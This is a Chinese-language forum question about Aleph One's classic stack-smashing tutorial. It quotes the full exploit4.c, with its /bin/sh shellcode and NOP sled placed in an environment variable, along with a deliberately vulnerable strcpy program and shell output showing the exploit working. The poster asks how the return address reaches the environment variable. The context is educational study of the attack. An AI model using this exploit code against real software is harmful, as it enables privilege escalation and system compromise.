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原本发在c版 不过好像没人感兴趣 记得有人在这里发过类似的帖子 就再厚颜在这里把幼齿的问题再问一遍吧。。。。
原文链接:http://insecure.org/stf/smashstack.html
问题是原文的最后一个也就是第四个例子: Small Buffer Overflows 我看的不是很懂
- exploit4.c
- ------------------------------------------------------------------------------
- #include <stdlib.h>
- #define DEFAULT_OFFSET 0
- #define DEFAULT_BUFFER_SIZE 512
- #define DEFAULT_EGG_SIZE 2048
- #define NOP 0x90
- char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- unsigned long get_esp(void) {
- __asm__("movl %esp,%eax");
- }
- void main(int argc, char *argv[]) {
- char *buff, *ptr, *egg;
- long *addr_ptr, addr;
- int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
- int i, eggsize=DEFAULT_EGG_SIZE;
- if (argc > 1) bsize = atoi(argv[1]);
- if (argc > 2) offset = atoi(argv[2]);
- if (argc > 3) eggsize = atoi(argv[3]);
- if (!(buff = malloc(bsize))) {
- printf("Can't allocate memory.\n");
- exit(0);
- }
- if (!(egg = malloc(eggsize))) {
- printf("Can't allocate memory.\n");
- exit(0);
- }
- addr = get_esp() - offset;
- printf("Using address: 0x%x\n", addr);
- ptr = buff;
- addr_ptr = (long *) ptr;
- for (i = 0; i < bsize; i+=4)
- *(addr_ptr++) = addr;
- ptr = egg;
- for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
- *(ptr++) = NOP;
- for (i = 0; i < strlen(shellcode); i++)
- *(ptr++) = shellcode[i];
- buff[bsize - 1] = '\0';
- egg[eggsize - 1] = '\0';
- memcpy(egg,"EGG=",4);
- putenv(egg);
- memcpy(buff,"RET=",4);
- putenv(buff);
- system("/bin/bash");
- }
- vulnerable.c
- ------------------------------------------------------------------------------
- void main(int argc, char *argv[]) {
- char buffer[512];
- if (argc > 1)
- strcpy(buffer,argv[1]);
- }
复制代码
------------------------------------------------------------------------------
Lets try our new exploit with our vulnerable test program:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
Works like a charm. Now lets try it on xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
思想我是明白的 缓冲区较小 无法存下shellcode 甚至都会覆盖返回地址 那么就把shellcode存在环境变量里 然后用环境变量的地址overflow整个buffer 这样就会使ret跳转到环境变量中去执行那段shellcode(没理解错吧) 但看代码我无法理解这一过程
它存在缓冲区中的地址是addr = get_esp() - offset 这是初始的esp地址 环境变量不是应该在最高地址空间附近么 离初始阶段的sp还是有一定距离的啊 我看不出来凭什么靠这个地址能跳转到环境变量 对于shellcode如何存到环境变量这一过程 我也比较疑惑 还有最后一个system("/bin/bash"); 是因为子进程和父进程共享环境变量 所以通过这个新出来的bash来调用被攻击程序 从而共享环境变量么?
看的郁闷 哪位大牛能给讲讲 |
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